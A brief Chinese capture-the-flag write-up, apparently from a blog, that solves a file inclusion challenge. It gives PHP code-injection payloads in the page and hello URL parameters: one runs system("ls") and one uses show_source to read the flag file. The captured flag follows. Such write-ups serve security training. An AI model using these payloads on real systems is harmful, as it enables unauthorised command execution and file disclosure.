代码审计后我们会发现存在文件包含漏洞。
借助hello参数构建payload:?page=http://127.0.0.1/index.php/?hello=<?system("ls")?>
然后借助参数?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>即可得到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
相关文章：
-
2021-06-25
-
2021-11-16
-
2021-07-25
-
2021-04-26
-
2022-01-12
-
2022-12-23
-
2021-09-12
-
2021-09-04